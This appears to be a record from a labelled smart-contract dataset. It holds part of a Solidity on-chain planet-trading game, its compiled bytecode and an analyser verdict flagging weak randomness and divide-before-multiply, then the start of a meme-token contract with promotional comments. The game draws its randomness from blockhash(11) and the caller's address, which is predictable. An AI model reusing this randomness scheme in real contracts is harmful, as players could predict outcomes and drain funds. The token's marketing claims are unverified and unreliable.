keccak256(abi.encodePacked(uint256(blockhash(11)) + uint256(msg.sender) + uint256(nodes.length))); uint256 fee = (uint256(hash) % FEE_RANGE).add(FEE_MIN); uint256 id = 0; if(nodes.length > 0) { id = uint256(hash) % nodes.length; } insert(Planet(fee, hash, address(0)), id); } function buy_spice_melange() public payable { require(msg.sender == tx.origin); require(msg.sender != address(0)); require(msg.sender != address(this)); require(msg.value > 0); if(players[msg.sender].state == 0 && nodes.length > 0) { bytes32 hash = keccak256(abi.encodePacked(uint256(blockhash(11)) + uint256(msg.sender) + uint256(nodes.length))); players[msg.sender].position = uint256(hash) % nodes.length; players[msg.sender].state = 1; } players[msg.sender].balance = players[msg.sender].balance.add(msg.value); } function sell_spice_melange(uint256 amount) public returns (uint256) { require(msg.sender == tx.origin); require(msg.sender != address(0)); require(msg.sender != address(this)); require(players[msg.sender].state > 0); require(amount <= players[msg.sender].balance); if(amount > 0) { players[msg.sender].balance = players[msg.sender].balance.sub(amount); if(!msg.sender.send(amount)) { return 0; } } return amount; } function move() public { require(msg.sender == tx.origin); require(msg.sender != address(0)); require(msg.sender != address(this)); require(players[msg.sender].balance > 0); require(players[msg.sender].state > 0); uint256 id = players[msg.sender].position; while(true) { id = nodes[id].next; if(nodes[id].planet.owner == address(0)) { players[msg.sender].position = id; break; } else if(nodes[id].planet.owner == msg.sender) { players[msg.sender].position = id; } else { uint256 fee = nodes[id].planet.fee.div(koef); if(fee > players[msg.sender].balance) break; players[msg.sender].balance = players[msg.sender].balance.sub(fee); players[nodes[id].planet.owner].balance = players[nodes[id].planet.owner].balance.add(fee); players[msg.sender].position = id; } } } function step() public { require(msg.sender == tx.origin); require(msg.sender != address(0)); require(msg.sender != address(this)); require(players[msg.sender].balance > 0); require(players[msg.sender].state > 0); uint256 id = players[msg.sender].position; id = nodes[id].next; if(nodes[id].planet.owner == address(0)) { players[msg.sender].position = id; } else if(nodes[id].planet.owner == msg.sender) { players[msg.sender].position = id; } else { uint256 fee = nodes[id].planet.fee.div(koef); if(fee > players[msg.sender].balance) return; players[msg.sender].balance = players[msg.sender].balance.sub(fee); players[nodes[id].planet.owner].balance = players[nodes[id].planet.owner].balance.add(fee); players[msg.sender].position = id; } return; } function buy_planet() public { require(msg.sender == tx.origin); require(msg.sender != address(0)); require(msg.sender != address(this)); require(players[msg.sender].state > 0); uint256 price = PLANET_PRICE.div(koef); price = price.sub(price.mul(players[msg.sender].discount).div(100)).add(FEE_SILO.div(koef)); require(players[msg.sender].balance >= price); uint256 id = players[msg.sender].position; require(nodes[id].planet.owner == address(0)); players[msg.sender].balance = players[msg.sender].balance.sub(price); players[msg.sender].planets.push(id); nodes[id].planet.owner = msg.sender; if(!create_flag) { create_flag = true; } else { create_planet(); create_planet(); create_planet(); create_flag = false; } if(now < silo_timer) { silo_addr = msg.sender; silo_timer = silo_timer.add(TIMER_STEP); silo = silo.add(FEE_SILO); } else { if(silo > 0 && silo_addr != address(0)) players[silo_addr].balance = players[silo_addr].balance.add(silo); silo_addr = msg.sender; silo_timer = now.add(TIMER_STEP); silo = FEE_SILO; } if(players[msg.sender].discount < 50) players[msg.sender].discount = players[msg.sender].discount.add(1); master.transfer(price); } function get_len() external view returns(uint256) { return nodes.length; } function insert(Planet planet, uint256 prev) private returns(uint256) { Node memory node; if(nodes.length == 0) { node = Node(planet, 0, 0); } else { require(prev < nodes.length); node = Node(planet, prev, nodes[prev].next); nodes[node.next].prev = nodes.length; nodes[prev].next = nodes.length; } return nodes.push(node) - 1; } }
0x60806040526004361061017f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680624ebaa81461018957806313bd05e4146101b45780631c53c2801461020b57806331b286641461025a57806337df4828146102855780633c87b8ef1461029c5780633ec48a2e146102f0578063412244051461030757806343c885ba1461033257806359c1340314610361578063715018a61461038c5780637a3cbbe4146103a35780638631890e146103ce57806386795e8d146103f95780638da5cb5b1461043c5780638e3dcc60146104935780639ac58d58146104d4578063bab92a29146104ff578063bce2d16d14610659578063bf61b51714610684578063c36c0155146106af578063c6cebebd14610740578063e1c7392a1461089a578063e25fe175146108b1578063e59af25b146108c8578063eb3beb29146108d2578063ee97f7f3146108fd578063f2fde38b14610954578063f81dee0314610997578063fbde47f6146109c4575b6101876109ef565b005b34801561019557600080fd5b5061019e610d1c565b6040518082815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610d22565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021757600080fd5b5061023660048036038101908080359060200190929190505050610d48565b60405180848152602001838152602001828152602001935050505060405180910390f35b34801561026657600080fd5b5061026f610dfe565b6040518082815260200191505060405180910390f35b34801561029157600080fd5b5061029a610e03565b005b3480156102a857600080fd5b506102b161165c565b604051808781526020018681526020018560ff1660ff168152602001848152602001838152602001828152602001965050505050505060405180910390f35b3480156102fc57600080fd5b5061030561185c565b005b34801561031357600080fd5b5061031c611e4f565b6040518082815260200191505060405180910390f35b34801561033e57600080fd5b50610347611ea0565b604051808215151515815260200191505060405180910390f35b34801561036d57600080fd5b50610376611eb3565b6040518082815260200191505060405180910390f35b34801561039857600080fd5b506103a1611ebe565b005b3480156103af57600080fd5b506103b8611fc0565b6040518082815260200191505060405180910390f35b3480156103da57600080fd5b506103e3611fc5565b6040518082815260200191505060405180910390f35b34801561040557600080fd5b5061043a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fd1565b005b34801561044857600080fd5b506104516120e7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561049f57600080fd5b506104be6004803603810190808035906020019092919050505061210c565b6040518082815260200191505060405180910390f35b3480156104e057600080fd5b506104e9612363565b6040518082815260200191505060405180910390f35b34801561050b57600080fd5b5061052a60048036038101908080359060200190929190505050612370565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561057957808201518184015260208101905061055e565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156105bb5780820151818401526020810190506105a0565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156105fd5780820151818401526020810190506105e2565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561063f578082015181840152602081019050610624565b505050509050019850505050505050505060405180910390f35b34801561066557600080fd5b5061066e61265d565b6040518082815260200191505060405180910390f35b34801561069057600080fd5b50610699612663565b6040518082815260200191505060405180910390f35b3480156106bb57600080fd5b506106da6004803603810190808035906020019092919050505061266e565b6040518086815260200185600019166000191681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019550505050505060405180910390f35b34801561074c57600080fd5b5061076b6004803603810190808035906020019092919050505061276b565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156107ba57808201518184015260208101905061079f565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156107fc5780820151818401526020810190506107e1565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561083e578082015181840152602081019050610823565b50505050905001858103825286818151815260200191508051906020019060200280838360005b83811015610880578082015181840152602081019050610865565b505050509050019850505050505050505060405180910390f35b3480156108a657600080fd5b506108af612ab7565b005b3480156108bd57600080fd5b506108c6612ba5565b005b6108d06109ef565b005b3480156108de57600080fd5b506108e761318d565b6040518082815260200191505060405180910390f35b34801561090957600080fd5b50610912613193565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561096057600080fd5b50610995600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506131b9565b005b3480156109a357600080fd5b506109c260048036038101908080359060200190929190505050613220565b005b3480156109d057600080fd5b506109d9613294565b6040518082815260200191505060405180910390f35b60003273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a2b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610a6757600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610aa257600080fd5b600034111515610ab157600080fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff1660ff16148015610b1857506000600880549050115b15610c7e576008805490503373ffffffffffffffffffffffffffffffffffffffff16600b40600190040101604051602001808281526020019150506040516020818303038152906040526040518082805190602001908083835b602083101515610b975780518252602082019150602081019050602083039250610b72565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902090506008805490508160019004811515610bda57fe5b06600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160006101000a81548160ff021916908360ff1602179055505b610cd334600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461329f90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555050565b60065481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600881815481101515610d5757fe5b90600052602060002090600502016000915090508060000160606040519081016040529081600082015481526020016001820154600019166000191681526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525050908060030154908060040154905083565b601981565b6000803273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e4057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610e7c57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610eb757600080fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff1660ff16111515610f1857600080fd5b610f3560025467016345785d8a00006132bb90919063ffffffff16565b9150610fde610f56600254662386f26fc100006132bb90919063ffffffff16565b610fd0610fc16064610fb3600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154886132d190919063ffffffff16565b6132bb90919063ffffffff16565b8561330990919063ffffffff16565b61329f90919063ffffffff16565b915081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541015151561103157600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050600073ffffffffffffffffffffffffffffffffffffffff1660088281548110151561109d57fe5b906000526020600020906005020160000160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156110f457600080fd5b61114982600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461330990919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018190806001815401808255809150509060018203906000526020600020016000909192909190915055503360088281548110151561120b57fe5b906000526020600020906005020160000160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900460ff161515611293576001600360006101000a81548160ff0219169083151502179055506112c7565b61129b613322565b6112a3613322565b6112ab613322565b6000600360006101000a81548160ff0219169083151502179055505b6006544210156113555733600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611328607860065461329f90919063ffffffff16565b60068190555061134a662386f26fc1000060045461329f90919063ffffffff16565b600481905550611507565b60006004541180156113b65750600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1561149d5761143460045460076000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461329f90919063ffffffff16565b60076000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b33600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506114f260784261329f90919063ffffffff16565b600681905550662386f26fc100006004819055505b6032600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015410156115ef576115a86001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015461329f90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611657573d6000803e3d6000fd5b505050565b600080600080600080600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549550600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549450600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff169350600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015492506117a360025467016345785d8a00006132bb90919063ffffffff16565b915061180a6117c4600254662386f26fc100006132bb90919063ffffffff16565b6117fc6117ed60646117df88886132d190919063ffffffff16565b6132bb90919063ffffffff16565b8561330990919063ffffffff16565b61329f90919063ffffffff16565b9150600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401805490509050909192939495565b6000803273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156118d557600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561191057600080fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411151561196157600080fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff1660ff161115156119c257600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015491505b600115611e4b57600882815481101515611a1e57fe5b9060005260206000209060050201600401549150600073ffffffffffffffffffffffffffffffffffffffff16600883815481101515611a5957fe5b906000526020600020906005020160000160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611af65781600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550611e4b565b3373ffffffffffffffffffffffffffffffffffffffff16600883815481101515611b1c57fe5b906000526020600020906005020160000160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611bb95781600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550611e46565b611bf1600254600884815481101515611bce57fe5b9060005260206000209060050201600001600001546132bb90919063ffffffff16565b9050600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154811115611c4257611e4b565b611c9781600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461330990919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550611d758160076000600886815481101515611cf457fe5b906000526020600020906005020160000160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461329f90919063ffffffff16565b60076000600885815481101515611d8857fe5b906000526020600020906005020160000160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b611a08565b5050565b6000611e9b611e70600254662386f26fc100006132bb90919063ffffffff16565b611e8d60025467016345785d8a00006132bb90919063ffffffff16565b61329f90919063ffffffff16565b905090565b600160149054906101000a900460ff1681565b6611c37937e0800081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f1957600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b607881565b67016345785d8a000081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561202c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561206857600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156120a357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561214857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561218457600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156121bf57600080fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff1660ff1611151561222057600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154821115151561227157600080fd5b600082111561235a576122cf82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461330990919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055503373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515612359576000905061235e565b5b8190505b919050565b6000600880549050905090565b60608060608060008060008073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156123b657600080fd5b60196040519080825280602002602001820160405280156123e65781602001602082028038833980820191505090505b50965060196040519080825280602002602001820160405280156124195781602001602082028038833980820191505090505b509550601960405190808252806020026020018201604052801561244c5781602001602082028038833980820191505090505b509450601960405190808252806020026020018201604052801561247f5781602001602082028038833980820191505090505b5093506124966019896132d190919063ffffffff16565b9250600091505b60198260ff16101561265357600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040180549050838360ff1601101561264657600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401838360ff160181548110151561254f57fe5b9060005260206000200154905061259460025460088381548110151561257157fe5b9060005260206000209060050201600001600001546132bb90919063ffffffff16565b878360ff168151811015156125a557fe5b90602001906020020181815250506008818154811015156125c257fe5b906000526020600020906005020160000160010154868360ff168151811015156125e857fe5b90602001906020020190600019169081600019168152505080858360ff1681518110151561261257fe5b9060200190602002018181525050828260ff1601848360ff1681518110151561263757fe5b90602001906020020181815250505b818060010192505061249d565b5050509193509193565b60025481565b662386f26fc1000081565b60008060008060006126ae60025460088881548110151561268b57fe5b9060005260206000209060050201600001600001546132bb90919063ffffffff16565b94506008868154811015156126bf57fe5b90600052602060002090600502016000016001015493506008868154811015156126e557fe5b906000526020600020906005020160000160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925060088681548110151561272b57fe5b906000526020600020906005020160030154915060088681548110151561274e57fe5b906000526020600020906005020160040154905091939590929450565b6060806060806000600c6040519080825280602002602001820160405280156127a35781602001602082028038833980820191505090505b509450600c6040519080825280602002602001820160405280156127d65781602001602082028038833980820191505090505b509350600e6040519080825280602002602001820160405280156128095781602001602082028038833980820191505090505b509250600e60405190808252806020026020018201604052801561283c5781602001602082028038833980820191505090505b509150600090505b600c8160ff1610156129e6576008805490508160ff1610156129d95761289860025460088881548110151561287557fe5b9060005260206000209060050201600001600001546132bb90919063ffffffff16565b858260ff168151811015156128a957fe5b90602001906020020181815250506008868154811015156128c657fe5b906000526020600020906005020160000160010154848260ff168151811015156128ec57fe5b90602001906020020190600019169081600019168152505060088681548110151561291357fe5b906000526020600020906005020160000160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838260ff1681518110151561295957fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505085828260ff168151811015156129a757fe5b90602001906020020181815250506008868154811015156129c457fe5b90600052602060002090600502016004015495505b8080600101915050612844565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838260ff16815181101515612a1a57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600454828260ff16815181101515612a6a57fe5b90602001906020020181815250508080600101915050600654421015612aaf574260065403828260ff16815181101515612aa057fe5b90602001906020020181815250505b509193509193565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b1257600080fd5b600160149054906101000a900460ff161515612ba357612b30613322565b612b38613322565b612b40613322565b612b48613322565b612b50613322565b612b58613322565b612b60613322565b612b68613322565b612b70613322565b612b78613322565b612b80613322565b612b88613322565b60018060146101000a81548160ff0219169083151502179055505b565b6000803273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612be257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515612c1e57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515612c5957600080fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154111515612caa57600080fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff1660ff16111515612d0b57600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549150600882815481101515612d5f57fe5b9060005260206000209060050201600401549150600073ffffffffffffffffffffffffffffffffffffffff16600883815481101515612d9a57fe5b906000526020600020906005020160000160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612e375781600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550613188565b3373ffffffffffffffffffffffffffffffffffffffff16600883815481101515612e5d57fe5b906000526020600020906005020160000160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612efa5781600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550613187565b612f32600254600884815481101515612f0f57fe5b9060005260206000209060050201600001600001546132bb90919063ffffffff16565b9050600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154811115612f8357613189565b612fd881600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461330990919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506130b6816007600060088681548110151561303557fe5b906000526020600020906005020160000160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461329f90919063ffffffff16565b600760006008858154811015156130c957fe5b906000526020600020906005020160000160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b5b5050565b60045481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561321457600080fd5b61321d81613472565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561327b57600080fd5b60008111151561328a57600080fd5b8060028190555050565b66670758aa7c800081565b600081830190508281101515156132b257fe5b80905092915050565b600081838115156132c857fe5b04905092915050565b6000808314156132e45760009050613303565b81830290508183828115156132f557fe5b041415156132ff57fe5b8090505b92915050565b600082821115151561331757fe5b818303905092915050565b60008060006008805490503373ffffffffffffffffffffffffffffffffffffffff16600b40600190040101604051602001808281526020019150506040516020818303038152906040526040518082805190602001908083835b6020831015156133a1578051825260208201915060208101905060208303925061337c565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902092506134006611c37937e0800066670758aa7c800085600190048115156133f157fe5b0661329f90919063ffffffff16565b9150600090506000600880549050111561342c57600880549050836001900481151561342857fe5b0690505b61346c60606040519081016040528084815260200185600019168152602001600073ffffffffffffffffffffffffffffffffffffffff168152508261356c565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156134ae57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061357661370f565b600060088054905014156135a9576060604051908101604052808581526020016000815260200160008152509050613653565b600880549050831015156135bc57600080fd5b6060604051908101604052808581526020018481526020016008858154811015156135e357fe5b90600052602060002090600502016004015481525090506008805490506008826040015181548110151561361357fe5b90600052602060002090600502016003018190555060088054905060088481548110151561363d57fe5b9060005260206000209060050201600401819055505b600160088290806001815401808255809150509060018203906000526020600020906005020160009091929091909150600082015181600001600082015181600001556020820151816001019060001916905560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050602082015181600301556040820151816004015550500391505092915050565b60a060405190810160405280613723613737565b815260200160008152602001600081525090565b6060604051908101604052806000815260200160008019168152602001600073ffffffffffffffffffffffffffffffffffffffff16815250905600a165627a7a723058203f1d17df06dbdf8fa4a03e562fc675ede9de63378a9d16d4751b9211067d86b20029
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
10,493
0xcaf08415368383525cb0e993982d2b9647919c70
// SPDX-License-Identifier: MIT /* CyberRoded ------ Elon Twett https://twitter.com/elonmusk/status/1511950430539902976?s=20&t=KIQjXXoGwQJlDqxMQQJvpw LP locked on team.finance & ownership renounced. Low max buy for the launch. Tax : 5% / 5% */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns 